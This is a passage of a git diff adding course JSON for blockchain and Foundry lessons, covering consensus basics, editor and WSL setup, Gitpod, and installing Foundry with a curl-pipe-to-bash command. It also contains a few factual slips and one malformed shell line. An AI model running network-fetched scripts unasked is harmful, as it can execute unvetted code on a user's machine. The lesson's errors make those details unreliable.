cryptography, node operations, consensus protocols, and scaling solutions.", + "duration": 20, + "videoUrl": "7YOYCLtpHfUmV014ikN93lYZyKPUkPtf9YLKK1K02orDE", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/10-blockchain-fundamentals/+page.md", + "markdownContent": "***\n\n## title: High Level Blockchain Fundamentals\n\nYou can follow along with this section of the course here.\n\n## Understanding Cryptography and Blockchain\n\nIn our previous discussions, we have covered basic concepts of cryptography and elements of blockchain. Now, let's discuss how these concepts translate into real-world applications. It is important to bear in mind that varying blockchains utilize different algorithms and criteria, so there might be minute variations in the implementation, but the core principles remain consistent.\n\nIn the traditional sense, when we interact with an application or a server, such as a website, we are essentially engaging with a centralized entity. Contrarily, as we've seen, a blockchain operates within a network of independent nodes, all managed by individual users running blockchain software.\n\nIn the realm of blockchain, the term `node` takes on a special significance, emerging as the heartbeat of the decentralized system. Imagine it this way - each `node` represents an individual user's server, pulsating with the rhythmic cadence of blockchain technology. When these nodes sync and engage with each other, they weave together an intricate and robust blockchain network. The real magic, however, lies in its democratic essence. In this decentralized universe, anyone armed with the right hardware and software can join the network, embodying the true spirit of decentralization. This is not just a technological concept; it's a silent revolution celebrating inclusivity and accessibility.\n\nFor those eager to participate, Websites like GitHub offer the opportunity to set up your own Ethereum node in a matter of seconds!\n\n## Blockchain: A Decentralized Powerhouse Resilient to Disruptions\n\nThe primary advantage of blockchain technology is its resilience to disruptions. Here's the reason: traditional online systems run by centralized entities are vulnerable. If they shut down due to a variety of reasons (like being hacked or due to internal issues), their services are interrupted.\n\nOn the other hand, blockchains are decentralized, and the chances of all nodes shutting down simultaneously are extremely low. So, even if one or more nodes fail, the system continues to operate unabated, as long as there is at least one functioning node. This inherent backup feature makes blockchain an incredibly resilient system. Popular chains like Bitcoin and Ethereum consist of thousands of nodes which makes them even more resistant to disruptions.\n\n## The Consensus Protocols: Proof of Work and Proof of Stake\n\n\"block\n\nNow that we've reviewed some fundamentals, let's move on to two key concepts you may have heard about: 'Proof of Work' and 'Proof of Stake'. These concepts are crucial to understanding how blockchains work.\n\nProof of work and proof of stake fall under the umbrella of consensus. Consensus is a critical topic when it comes to blockchains because it is used to reach an agreement on the state or a single value on the blockchain, especially in a decentralized system.\n\nIn the majority of blockchains, the consensus protocol can be broken down into two constituent parts; a chain selection algorithm and a civil resistance mechanism. We'll touch on the main characteristics of each mechanism and then cover in more detail how Proof of Stake forms an evolved alternative to the electricity-hungry Proof of Work.\n\n### Proof of Work: Deciphering the Consensus Protocol\n\nAs already discussed, Proof of Work is a civil resistance mechanism, a way to avert potential Sybil attacks. A Sybil attack is when a user creates numerous pseudonymous identities aiming to gain a disproportionately influential sway over the system. In the Proof of Work environment, such an attack is difficult to execute. As Sybil resistance is inherent in the mechanism, irrespective of how many aliases an attacker creates, every identity must undertake the highly resource-intense process of mining to find the answer to the blockchain's puzzle.\n\nThe Proof of Work mechanism also interacts with the consensus protocol's other key component: the chain selection rule. With this, the decentralized network decides that the longest chain - i.e., the one with the highest number of blocks - will be the authoritative chain.\n\n### Consensus and Scalability Issues\n\nOne key compromise with Proof of Work is the substantial demands it puts on electricity, rendering it environmentally unfriendly. This has spurred the development of more eco-friendly protocols, such as Proof of Stake. This alternative consensus protocol follows a different sybil resistance mechanism: rather than expending substantial computational resources to mine blocks, in Proof of Stake, nodes or \"validators\" instead stake collateral as a surety they will behave honestly.\n\nHowever, another significant issue requiring attention is scalability. As the number of transactions exceeds the amount of block space, latency and high transaction costs, or \"gas fees\", can become a hindrance.\n\n### Layer 1 and Layer 2 Scaling Solutions\n\nBlockchain developers have devised two key options in response to this limitation:\n\n1. `Layer 1` solutions: This refers to base layer blockchain implementations like Bitcoin or Ethereum.\n2. `Layer 2` solutions: These are applications added on top of a layer one, like [Chainlink](https://chain.link/) or [Arbitrum](https://arbitrum.io/).\n\nOptions like Arbitrum, for instance, use a \"roll-up\" approach where transactions are processed in bulk and then rolled up into a Layer 1 blockchain. This increases the effective capacity of a Layer 1 blockchain, allowing it to absorb more transactions, effectively easing the scalability issue.\n", + "updates": [] + }, + { + "lessonId": "1a5beaf9-4b6d-44b4-904d-357908e344fb", + "number": 11, + "slug": "blockchian-basics-completed", + "title": "Congratulations", + "description": "Celebratory conclusion of the blockchain basics series, highlighting the journey from theoretical understanding to practical application.", + "duration": 2, + "videoUrl": "cJGYVJceDwFyvVI9VQE7jlp4CAFeE01at5RheTcVCbBU", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/11-basics-completed/+page.md", + "markdownContent": "***\n\n## title: Congratulations!\n\nIf you reached this section you are awesome!! You can follow along with this section of the course here.\n\n## Demystifying Blockchain: From Basics to Code\n\nAs we wrap up our series on blockchain basics and elaborate further with insightful blockchain explainers, we not only aim to offer a seamless transition into blockchain-related fields but also make it enjoyable and interesting. With the knowledge you've garnered, you are now equipped to explore the world of blockchains more competently and confidently.\n\nBy marching this far, you should not only be proud of your accomplishments but also be excited about the journey ahead. It is indeed commendable that you took upon yourself to understand the complexities of blockchain technology.\n\n\"block\n\n## Venturing into The Coding Aspect\n\nNow that you've grasped a lot of the basics and fundamental concepts of blockchain, it's time to delve into the coding aspect. This is where the more practical aspects of blockchain technology come into focus. The transition from theoretical insights to practical applications can be a thrilling journey, especially when we're talking about something as ground-breaking as blockchain.\n\n### Learning Solidity Basics\n\nSolidity is a statically-typed programming language designed for implementing smart contracts on Ethereum-based blockchain platforms. To put it simply, if blockchain was a car, Solidity would be the engine that drives it, or more specifically, the language in which the engine's instructions are written.\n\nOur next section will introduce you to the solidity fundamentals. This will equip you with the necessary skills to start coding in Solidity and offer an in-depth understanding of how smart contracts work under the hood.\n\nAt this juncture, it is appropriate to revisit your achievements. After all, learning is a continual process and every milestone deserves a celebration.\n\n#### Give yourself a virtual high-five for your fantastic progress. If you've found our content helpful, we'd love to hear more about your journey. You can reach out to us in the GitHub discussions!\n\nThe switch from learning blockchain concepts to actually applying them might be stark, yet it's exhilarating. It signals the progression from rudimentary understanding, to applying that knowledge, and finally, creating something new and valuable. And let's face it, in today's tech-savvy world, knowing how to code is a power in itself.\n\nSo congratulations are in order! By seeking to learn Solidity and understanding how to interact with blockchains, you’re standing at the gateway of endless potential. Get ready to unlock new opportunities in the world of technology, as you step into the exciting realm of blockchain coding. Remember, every code you write brings us one step closer to a decentralized world. Happy coding!\n\nYour next Chapter is to learn the:\n\n\n\n\n\n\n", + "updates": [] + } + ] + } + ] +} \ No newline at end of file diff --git a/content/courses/foundry.json b/content/courses/foundry.json new file mode 100644 index 00000000..442b4968 --- /dev/null +++ b/content/courses/foundry.json @@ -0,0 +1,1111 @@ +{ + "folderName": "foundry", + "lastUpdated": "Mon Jan 15 2024 12:23:01 GMT-0500 (Eastern Standard Time)", + "number": 0, + "courseId": "ec5bc4d6-9638-48da-a92a-d956a4b38003", + "slug": "foundry", + "createdAt": "2023-12-18T15:14:18.689Z", + "updatedAt": "2024-01-19T20:46:03.668Z", + "title": "Foundry Fundamentals", + "path": "content/learning-paths/solidity-developer.json", + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/ccrmrt6nnfgcyuk2o7bu.png", + "duration": 10, + "description": "Already know Solidity? Your next step is Foundry! Learn how to manage your dependencies, compile your project, run tests, deploy, and interact with your from the command-line and via Solidity scripts.", + "overview": { + "learnings": "Foundry introduction, smart contracts development, oracles, smart contracts testing, intengration testing, forge test, local smart contracts deployment", + "preRequisites": [ + "Blockchain basics", + "Solidity fundamentals" + ] + }, + "authors": [ + { + "author": "content/authors/patrick-collins.json" + }, + { + "author": "content/authors/richard-gottleber.json" + }, + { + "author": "content/authors/vasiliy-gualoto.json" + } + ], + "sections": [ + { + "sectionId": "b224a5a3-2e7f-4c8d-b5a2-c95980b6f011", + "number": 1, + "slug": "foundry-simple-storage", + "title": "Foundry Simple Storage", + "lessons": [ + { + "lessonId": "1583c486-11aa-4273-96e4-69f0b1f86392", + "number": 1, + "slug": "introduction-foundry-simple-storage", + "title": "Introduction - Foundry simple storage", + "description": "Introduction to transitioning from Remix IDE to Foundry for professional smart contract development, along with resources for troubleshooting.", + "duration": 7, + "videoUrl": "FF102Fn02MpbcVd1IloQ00wn00jFPP3r01OiJxo3JRartZOs", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/1-introduction-foundry-simple-storage/+page.md", + "markdownContent": "***\n\n## title: Foundry Simple Storage Introduction\n\n*Follow along the course with this video.*\n\n# Moving Beyond Remix: The Transition to Professional Smart Contract Development\n\nWelcome to this fascinating journey from *Remix*, a phenomenal integrated development environment (IDE), to a more advanced and professional setup. Our goal is to integrate modern toolsets that are widely adopted within the development community. Although the initial transition process might seem daunting, I promise you, it's an enriching learning curve worth experiencing!\n\n## Conquering the Transition: Being Vigilant and Resourceful\n\nWe all know that setting up your local development environment without using Remix can be a challenging task. So, I urge you to make the most of these following valuable resources for troubleshooting:\n\n* [Chat GPT](https://chat.openai.com/)\n* [Stack Exchange ETH](https://ethereum.stackexchange.com/)\n* [Web three education dev](https://web3education.dev/)\n\n\n\nAs we embark on this journey, remember, it's okay for things not to work at the first instance. It's absolutely fine! The trick lies in asking **specific** questions related to the errors you encounter. Install these valuable resources and do not let them be an obstacle in your developmental progression.\n\n\n\nWe're about to take that plunge and learn how to implement these tools in our development environment right now!\n\n## Introducing Foundry: A Professional Smart Contract Development Framework\n\nAlthough we're saying goodbye to Remix, we're switching to an even more powerful tool - [Foundry](https://github.com/foundry-rs/foundry). It's renowned within the developer's community as one of the most popular smart contract development frameworks.\n\nFoundry has numerous pros, such as:\n\n* It's known for its exceptional speed\n* It's entirely Solidity-based, eliminating the need to learn other programming languages\n* Its documentation is comprehensive.\n\nCheekily referred to as Brownie or HardHat, Foundry is an invaluable asset to smart contract developers due to its speed and efficiency.\n\nDon't forget to refer to the project's GitHub repo for additional assistance. It contains all the vital code necessary for the course in handy detail.\n\n### Foundry vs. Remix: Why the Transition?\n\nNow, you might wonder, \"Why do we need to transition to Foundry when Remix appears to be working just fine?\"\n\nAllow me to clarify that. With Remix, we performed many tasks manually, such as compiling or deploying contracts and testing the logic by repeatedly clicking through the UI. If the smart contract contains a large number of functions, the process can quickly escalate, and so can the risk of introducing errors.\n\nOn the other hand, Foundry automates these tasks, reducing the risk of errors and improving workflow efficiency. With Foundry, you can run the tests for all the functions via one single command, which is not possible with Remix due to its manual nature.\n\nFoundry also deserves special mention because it is the preferred choice of Smart Contract security engineers and auditors. I'm eager for you to experience the quick and efficient nature of this smart contract development framework.\n\n## Visual Studio Code: A Powerful Text Editor\n\nNext up, I'll introduce you to Visual Studio Code, one of the most robust code editors out there. If you're already comfortable using Visual Studio Code, feel free to skip this part.\n\n\n\nPlease, don't confuse this with Visual Studio, a separate application - make sure that your selected version is Visual Studio **Code**.\n\nIn case you prefer working in an environment like Atom, Sublime, or with tools like PowerShell or Terminal, feel free to do so. However, for this course, we'll stick with Visual Studio Code and you will be guided through its setup.\n\n## Installation Instructions: Find the One that Suits You\n\nLastly, we'll go through the installation processes for three different systems:\n\n* Mac and Linux\n* Windows\n* Last-ditch effort: Gitpod installation.\n\nI highly encourage getting everything running natively in your local environment. However, if all else fails, follow the Gitpod installation process.\n\nStay tuned for the next post where we commence with Mac and Linux installations.\n\nThat's all for now, folks. Are you excited to get started on this thrilling journey from Remix to Foundry? Let's forge ahead with a 'learning' and 'growing' mindset!\n", + "updates": [] + }, + { + "lessonId": "8cd5e9ef-3879-4af3-b2b2-ba4135ed238e", + "number": 2, + "slug": "development-environment-setup-mac-linux", + "title": "Development environment setup (Mac, Linux)", + "description": "Guide to setting up a development environment on Mac and Linux, including installing Visual Studio Code (VSCode) and Git.", + "duration": 3, + "videoUrl": "mGUXCQublpwzeFI8Ka9pem6Sc00tHPdkBAbI2kdjz4BI", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/2-Mac-Linux-Install/+page.md", + "markdownContent": "***\n\n## title: Mac & Linux Install (VsCode & Git)\n\n*Follow along the course with this video.*\n\n***\n\nWelcome to our step-by-step guide to set up Your Development Environment using Visual Studio Code (VSCode) and Git. Whether you're new to coding or just trying to set up a fresh machine, this guide will get you up and running in no time.\n\n## Downloading Visual Studio Code\n\nLet's start at the very beginning: by downloading Visual Studio Code. You can download for macOS or, if you're on a Linux system, you'll want the Linux installation. After you have this software installed, you’ll be welcomed by a well-structured interface much as below.\n\n\n\nFortunately, this friendly code editor doesn’t leave you in the dark but gives you tips to get started. By all means, if you're unfamiliar with VSCode, seize the opportunity to navigate through the \"Get Started\" instructions. These valuable tips could clear many hurdles on your upcoming coding adventures. Additionally, the [Visual Studio Code crash course](https://youtu.be/WPqXP_kLzpo) in the GitHub repository related to this course offers a wealth of concise and handy information.\n\n## Introducing the VSCode Terminal\n\nVSCode offers an immensely helpful feature – the terminal, or command line prompts, providing the backstage entrance to run your scripts. To access it, simply navigate to the 'Terminal' tab in your menu and select 'New Terminal'—you'll be presented with a shell, which could be Bash, ZSH or another type. Regardless of the shell type, they all function pretty similarly.\n\nAt this point, a quick note on navigation helps. For Mac or Linux users, the `CTRL + backtick` command allows you to swiftly toggle between Terminal modes, providing a major productivity boost. It's always beneficial to familiarize yourself with keyboard shortcuts as they enable efficient movement around VSCode. To ease your way into shortcut navigation, here you have a comprehensive list of [keyboard shortcuts](https://code.visualstudio.com/docs/getstarted/keybindings) for VSCode.\n\nMoreover, terminals can easily be deleted and recreated. Simply hit the trash can icon to delete the terminal, then navigate to `Terminal > New Terminal` to reopen a fresh one.\n\n## Installing Git\n\nAs we delve deeper into building your development environment, it's important to introduce Git. While it's not immediately necessary, it’s good practice to install it early on.\n\nIf you're on a Linux system, you're likely to use one of two commands to install Git. On a macOS, a simple `git` command in the terminal should prompt an invitation to install.\n\n\n\nOnce the installation is successful, typing `git version` into the command line should give you something that looks similar to this:\n\nFor the macOS folks, there is an easier way by using the macOS Git installer that can be accessed [here](https://git-scm.com/download/mac) to run through the installation process.\n\n## Wrapping Up\n\nCongrats! You have installed Git and Visual Studio Code. With these basics in place, we'll be able to delve into more detailed coding concepts in the next sections of this guide. Please note that if you're working on a platform not covered, like Windows or Gitpod, you might want to skip the next sections.\n\nOur goal is to ease your journey into the coding world, and we're thrilled to help you establish a strong foundation. Hop onto the next sections and let’s continue this exciting journey.\n\n\n", + "updates": [] + }, + { + "lessonId": "1dc6bc68-2034-4861-a2bd-8b7f96e42f1e", + "number": 3, + "slug": "development-environment-setup-windows", + "title": "Development environment setup (Windows)", + "description": "Tutorial on setting up a development environment on Windows using WSL (Windows Subsystem for Linux) and installing Visual Studio Code.", + "duration": 8, + "videoUrl": "MkIn9Pa4Tcmx00JtwoeR9EzWGbG76oOkeLIEYu4xeebE", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/3-Windows-Install/+page.md", + "markdownContent": "***\n\n## title: Windows Install (WSL)\n\n*Follow along the course with this video.*\n\n***\n\nWe'll be taking a special look at a handy tool known as WSL (Windows Subsystem for Linux). Assisting us in this tutorial is the amazing Basili, a guru in Windows setup who has been tremendously helpful in some of my past training courses.\n\nThis tutorial will be beneficial for anyone using Windows 10 or later versions. We'll begin by installing our code editor - in this specific case, Visual Studio Code.\n\n## Getting Started with Visual Studio Code Installation\n\nTo install Visual Studio Code (VS Code for short) on your machine, begin by opening up your web browser and typing `VS Code` in the search box. Follow these steps:\n\n* Select the VS Code version suited for Windows\n* Choose your desired installation location\n* Save the file\n* After download, proceed with the installation - the same as with any other program installation process\n\nYou'll notice that to install VS Code, you must accept the agreement and then proceed to add the code to your system path, create a desktop icon, and click 'Next' to install. The process won't take much time. After this, you can customize the theme, create shortcuts, and sync VS Code with your other devices.\n\nIf you wish to get a more in-depth understanding of VS Code, I recommend you pause this tutorial right here and explore these options one by one.\n\nAlthough we could proceed to install the rest of our development tools in a Windows environment, you'll find the following section of this tutorial very important. While Microsoft has made significant efforts to further support developers in recent years, the best option to consider still remains WSL, especially when it comes to smart contract development.\n\n## Transitioning to a Better Developer Environment with WSL\n\nThe Windows Subsystem for Linux (WSL) proves to be a considerable game-changer in this scenario. As a developer, you'll often find yourself working with tools and utilities primarily found in Unix-based environments. Windows has made significant strides in supporting developers; however, when setting up the right development environment and running certain command-line tools, some challenges persist.\n\nTo ensure that your code runs on various machines using Unix-based systems like Mac and Linux, you'll find WSL to be immensely beneficial. How exactly does WSL help? By setting up a Linux distribution using WSL, you gain access to a Unix-like console right on your Windows machine.\n\nDon't worry, you don't need to have master-level tech skills to set this up – all it takes is a few easy steps, which we'll cover next in our tutorial.\n\n## Installing WSL and Setting Up a Linux Distribution\n\nLet's start by installing WSL. Head over to the Windows Terminal, a pre-installed application on Windows 11 and easily accessible on Windows 10 via the Microsoft Store. All you have to do is type `WSL --install` and hit Enter. This will trigger the installation process requiring you to reboot your operating system.\n\n```\n# Open the Windows Terminal\n$ Windows Terminal\n# Key in the command to install WSL\n$ wsl --install\n```\n\nAfter your system reboots, the Terminal will open automatically and proceed with the installation. During the setup, you'll need to input a new Unix username - choose one unique to you - and secure it with a password of your choice. And voila, you have an operational Linux terminal on your Windows machine!\n\n## Making Visual Studio Code Compatible with WSL\n\nNow that we have our Linux terminal set up through WSL, we'll need to ensure its compatibility with VS Code.\n\nOpen up VS Code and navigate to the Extensions tab. Here, look for the Remote Development extensions and proceed to install each of them. This will enable VS Code to operate with WSL seamlessly.\n\nOnce this is done, you'll find that a new icon has appeared - 'Open a Remote Window')) which allows you to connect directly to WSL. However, there's an even simpler way to connect– through our Linux terminal!\n\nCreate a new folder in the terminal (for example, a folder named `solidity course`), navigate to this folder, then type `code .` and hit Enter. This command will automatically install the latest server for WSL on VS Code and open a new VS Code instance connected with WSL.\n\nAt this point, you should now see the WSL Ubuntu banner at the bottom of your VS Code window. You have two options to choose from when considering your development needs – either use the Windows Terminal or the integrated terminal that comes with VS Code.\n\n**Please Note:** When you conduct your projects from a folder inside Windows, like `Development` inside your documents, it's crucial to know that the WSL console will only access local files inside the WSL instance. Therefore, it's recommended to keep files inside the WSL instance for faster communication and convenience.\n\n## Preparing for Git Installation\n\nThe final part of our setup involves installing Git. While we won't directly use Git in this course, it is an essential tool for future use. To check if Git is pre-installed, simply run the command `git version`. If Git is not installed yet, you will have to install it independently.\n\nRemember, for those opting to continue with PowerShell or Windows instead of transitioning to WSL, you will need to download and install Git for Windows from the official Git page.\n\nCongratulations if you've managed to set up your developer environment as explained in this elaborate tutorial! With these tools at your disposal, you can develop smart contracts using Windows while experiencing the ease and flexibility Mac and Linux developers are accustomed to. Always ensure that your VS Code is connected to WSL Ubuntu, and feel free to use either a Windows or WSL environment, depending on your preference. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "f6c97bd6-2af2-4865-8076-d02bef7f32c9", + "number": 4, + "slug": "introduction-to-gitpod", + "title": "Develop in cloud using Gitpod", + "description": "Overview of using Gitpod for cloud-based development, highlighting its benefits, limitations, and precautions for usage.", + "duration": 5, + "videoUrl": "9x9Fxei4YpqkebgmCHlqk8wSJTeHNqQyrmxdbYMNaYg", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/4-gitpod/+page.md", + "markdownContent": "***\n\n## title: GitPod Setup\n\n*Follow along the course with this video.*\n\n***\n\nIn the vast, ever-evolving world of coding, more and more tools are being developed to facilitate programmers. One such tool is Gitpod, a cloud development environment that enables you to run your code on a remote server. In this blog post, we will guide you through the processes of setting up your development environment using Gitpod, highlighting its pros, cons and tips for smoother running.\n\n## Something About Gitpod\n\nGitpod is similar to Remix IDE and allows you to run Visual Studio code either in the browser or connected to another server. The key benefit of using Gitpod is bypassing the setup process. It spares you the need to conduct installations on any device, as you get to execute all your desired tools on the remote server.\n\nNevertheless, dependent on its status, Gitpod may also limit when you can code. It’s also worth noting that Gitpod is not completely free, which may be discouraging particularly for emerging developers.\n\nFurthermore, for the safety of your cryptocurrency, avoid running any code with a private key containing real money on Gitpod. The reason for this caution is that the remote servers may potentially access your private keys. As long as you don't use a MetaMask or any private key linked to actual funds during this interactive Gitpod setup, everything should work just fine.\n\n## Embarking on Gitpod\n\nTo begin, you will observe an \"Open in Gitpod\" button in all our code repos, starting from lesson five \"Simple Storage on Ethersjs\".\n\n\n\nAfter clicking the button, a \"Welcome to Gitpod\" sign appears and you should click on \"Continue with GitHub\". If Gitpod is linked to your GitHub account, it will automatically create a workspace for you, which mimics Visual Studio code.\n\n\n\nTo run your Gitpod from your local Visual Studio code :\n\n1. Spot if “Gitpod” is indicated.\n2. Tap the prompted pop-up, \"do you want to open this workspace in Vs code desktop?\"\n3. Install Gitpod extension on your Visual Studio code when prompted.\n4. Click \"Reload Window\" then \"Open\".\n5. The workspace then initiates a connection.\n\nAlternatively, you can manually run it by clicking \"Open in Vs code\" in the bottom left corner of Gitpod.\n\n\n\n## Navigating the Workspace\n\nIf you opt for this type of development, remember that you are coding on a remote server, not locally. Hence, never save sensitive data, such as your private keys in this workspace.\n\nThe workspace resembles your typical local setting. You can create new folders and workstations, and run all commands, just like when using Visual Studio.\n\nTo establish a new terminal, simply click on the little bar at the top left part of the screen, go to \"Terminal\" then hit \"new Terminal\". As an alternative, you can use the Control tilde shortcut, similar to macOS and Linux keyboard shortcuts.\n\nThese commands basically create a directory called \"New Folder\" then change the current directory into \"NewFolder\". To verify that you're in the right place, the command \"code .\" can be used. It transports you to the new folder.\n\n## Conclusion\n\nWhile Gitpod is not without its shortcomings, its ability to provide a ready-to-code environment that requires no installation, accessible from anywhere and on any device, makes it stand out. It's a fantastic option if you can't get the installation working.\n\nKeeping Gitpod’s conditions and a few precautions in mind, you're now ready for remote coding. Happy programming!\n\n\n\n\n", + "updates": [] + }, + { + "lessonId": "e01f8186-fca4-4adc-be04-47d5c0720b66", + "number": 5, + "slug": "foundry-setup", + "title": "Foundry setup", + "description": "Step-by-step guide on installing and operating Foundry, a tool for smart contract development, compatible with Windows, Linux, and MacOS.", + "duration": 8, + "videoUrl": "3qcmYFELZq934RiMBNUfJMHBNpaGWndPn91NvpetAI4", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/5-foundry-install/+page.md", + "markdownContent": "***\n\n## title: Foundry Install\n\n*Follow along the course with this video.*\n\n***\n\nWelcome to this handy guide on installing and operating Foundry, a versatile tool that will add a new level of command-line ease to your developer journey. Whether you're running Windows, Linux or MacOS, we've got you covered with instructions and tips. So sit back, grab a cup of coffee, and let's dive in.\n\n## Prepping your Terminal\n\nFirst things first. Before we dive into installing Foundry, make sure you have your terminal set up correctly.\n\nIf you are using Windows, you should see something like `WSL` or `Ubuntu`. Once you have your terminal environment ready, it’s time for some quick tips to help streamline your workflow.\n\n### Keeping your Terminal Clutter-free\n\nWhen commands pile up in your terminal, things can get a little overwhelming. Clear it up by simply typing `clear` and hitting `Enter`. Alternatively, use `Command K` if you're on a Mac or `Control K` if you're on Linux or Windows.\n\n**Pro tip:** This is one of my favorite keyboard shortcuts that I use all the time.\n\n### Understanding the Trash Can and the X\n\n\n\nThe trash can and the X buttons in your terminal perform distinct functions. Hitting `X` simply hides your terminal but retains all the previous lines of code. On the other hand, trashing it essentially deletes whatever is running in it. To open up a clean terminal, hit the trash can and then pull it back using `Toggle` or `Terminal > New Terminal`.\n\n## Installing Foundry\n\nWith our terminal set and some tips up our sleeve, let's progress to installing Foundry. Navigate to the [Foundry website](https://book.getfoundry.sh/getting-started/installation) and from the installation tab, fetch the command to install Foundry.\n\nThe command would look something like this:\n\n```bash\ncurl -L https://foundry.paradigm.xyz | bash\n\n```\n\nHit `Enter` after pasting this in your terminal.\n\n**Note:** You must have Internet access for this to work as it's downloading Foundry from their official website.\n\n## Verifying Your Installation\n\nAfter running the `curl` command, an output will appear at the bottom of your terminal indicating the detected shell and the fact that Foundry has been added to your `Path`.\n\nFor instance, the output can be something like this:\n\n```bash\nDetected your preferred shell is bashrc and added Foundry to Path run:source /home/user/.bashrcStart\na new terminal session to use Foundry\n```\n\nNow, simply type `foundryup` and `Enter` to install and update Foundry to the latest version. Whenever you want to install an update for Foundry, simply run `foundryup` again.\n\nThis will install four components: forge, cast, anvil, and chisel. To confirm the successful installation, run `forge --version`. You should get an output indicating the Forge version as shown below.\n\n```bash\nForge version x.x.x\n```\n\nNow, here's something to remember: when you hit the trash can in the top right, it literally 'removes' the terminal. The X button, in contrast, simply hides it.\n\n### Is Foundry Up Not Running?\n\nDon't panic if this command doesn't run. You might have an issue with your path, and you might need to add Foundry to your path. In case you run into this issue, check lesson 6 of the GitHub repo associated with this course. If no debugging tips are available there, feel free to start a discussion on the course's GitHub repo. Before doing so, make sure to check if a similar discussion already exists.\n\nTry typing `forge --version` into your terminal. Have you received an unwelcome output saying `Forge command found`? This implies that you have to rerun the `source` command that Foundry offered during installation.\n\nNote: Most of the time the `bashrc` file gets loaded automatically. However, if this doesn't apply to your setup, the following lines can add the required command to the end of your `Bash profile`. This will ensure that your `bashrc` file loads by default.\n\n```bash\ncd ~echo 'source /home/user/.bashrc' >> ~/.bash_profile\n```\n\n> this depends on your operating system, please check foundry docs to see detailed instructions.\n\n## Wrapping Up\n\nAnd there we have it! Congratulations on installing Foundry and prepping your terminal to work seamlessly with it. Remember, hitting snags during installation is normal, especially if you're new to this. Don't hesitate to engage with the course community via GitHub if you run into issues.\n\n\n\nHere's to many hassle-free coding sessions with Foundry!\n", + "updates": [] + }, + { + "lessonId": "ac591636-d3a2-47be-b1fd-b63e3f30733e", + "number": 6, + "slug": "vscode-setup", + "title": "Setup your VSCode", + "description": "Comprehensive guide on mastering Visual Studio Code and GitHub Copilot for optimizing programming efficiency and project folder organization.", + "duration": 6, + "videoUrl": "DR3LGeEw8eaZwPrrnjDlAHwr64QN1l00IIqmrlpMp8nk", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/6-vscode-setup-ii/+page.md", + "markdownContent": "***\n\n## title: VSCode Setup II\n\n*Follow along the course with this video.*\n\n***\n\n## Mastering Visual Studio Code and GitHub Copilot\n\nAs an ardent coder, mastering your programming environment tools is essential for optimum productivity. Today, our focus lands on Visual Studio Code (Vs code) and a fascinating AI extension – GitHub Copilot. Here's a walkthrough guide on how to optimize these tools effectively.\n\n\n\n## Understanding the Vs code Interface\n\nFirstly, we'll check out some convenient shortcuts and features in Vs code. You might observe me using the `control backtick` command frequently since it quickly toggles terminal visibility. Another shortcut I typically use is `Command J`. This key binding allows a quick toggle for panel visibility — handy when you need to alternate between terminal commands and code writing.\n\nOn the Vs code interface, the Explore button opens up a space where you can create a file. This could be a simple text file or more complex files for your programming language of choice from Python, Java, JavaScript, Solidity, and more.\n\n\n\n### Note on Saving Files\n\nEach open and unsaved file is marked with a small white dot on the tab. Not having your file saved could cause unexpected behavior when you run your code. Therefore, always remember to save your edits with `Command s` (Mac) or `Control s` (Windows and Linux). This key shortcut makes the white dot disappear, indicating your file is saved.\n\nHere's a fun fact: you have the unsaved and saved markers to remind you of your file's state. Ensure to establish a routine of hitting `Command s` after each significant edit to your code – it saves you a lot of time, trust me!\n\nShould you need to delete the file, a simple right click on it and selecting `Delete` gets the job done promptly.\n\n## Adding AI Capabilities with GitHub Copilot\n\nOn the discussion of Vs code features, it's incredible how AI integration in Vs code can significantly improve your coding efficiency. When you click on the Extensions button (it looks like a box), you'll find a search box to install different extensions.\n\nFor AI use, you may want to consider using GitHub Copilot. Although it's a premium service, its intuitive AI-powered code autocomplete feature could be a game-changer for you. Of course, you can choose to go with other AI extensions based on your preferences.\n\nOnce you have installed the [GitHub Copilot extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot), you will need to sign in to your GitHub account to activate it on Vs code. Having this set will introduce a flyout on the right that auto-generates code suggestions as you type.\n\n\n\nAs you code, GitHub Copilot offers code suggestions which you can auto-fill by hitting tab. The AI can alternatively present you multiple code solutions if you hit the up and enter keys. You can then select the most suitable option from the code suggestions list.\n\nOn a side note, if you're more conscious about sending data (*telemetry*) to Microsoft through Vs code, you can consider using [VSCodium](https://vscodium.com/). It's an open-sourced version of Vs code that does not send telemetry data to Microsoft.\n\nAlso, if you love the GitHub Copilot, you might want to check out [GitHub Copilot Labs](https://copilot.github.com/) as well. It features the AI's experimental features, which might be worth exploring.\n\n## Setting up a Project Folder\n\nTo set up a new directory for your coding projects, open the terminal and type `mkdir MyProjectFolderName`, then navigate to it with `cd MyProjectFolderName`. Note that you can use tab completion for the folder name.\n\nThe command helps you quickly create and move into a folder where you can store all your repositories.\n\n```bash\n mkdir FoundryF23\n cd FoundryF23\n```\n\nAnother cool trick is typing the first few characters of your commands or filenames within your terminal and hitting tab to autocomplete. Get better at identifying which commands or filenames can be autocompleted with practice.\n\nSo, moving forward:\n\n\n\n## Summing Up\n\nUnderutilizing your development environment tools could be costing you precious coding time. It's why I've shared how you can quickly explore files, edit and save files, use shortcuts, and add AI capabilities using GitHub Copilot on Visual Studio Code.Proper utilization of these features is very critical to enhancing your coding experience and productivity.\n\nRemember, in modern-day coding, AI capabilities can be an invaluable resource. Hence, as we move forward, keeping our repositories organized in a single folder will be an enormous boost to efficiently managing our multiple coding projects. Additionally, it makes it easy to reference our projects. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "55d7a32c-4040-47d0-81d5-9ca08b816ddf", + "number": 7, + "slug": "create-new-foundry-setup", + "title": "Create a new Foundry project", + "description": "Step-by-step instructions on creating a new simple storage project using Foundry, including project folder setup, terminal tips, and initial project structure.", + "duration": 8, + "videoUrl": "6ULFsnoyk00gPyBSTzNo4d7HB3phpBIW01HVIZ5wGOcnY", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/7-foundry-setup/+page.md", + "markdownContent": "***\n\n## title: Foundry Setup\n\n*Follow along the course with this 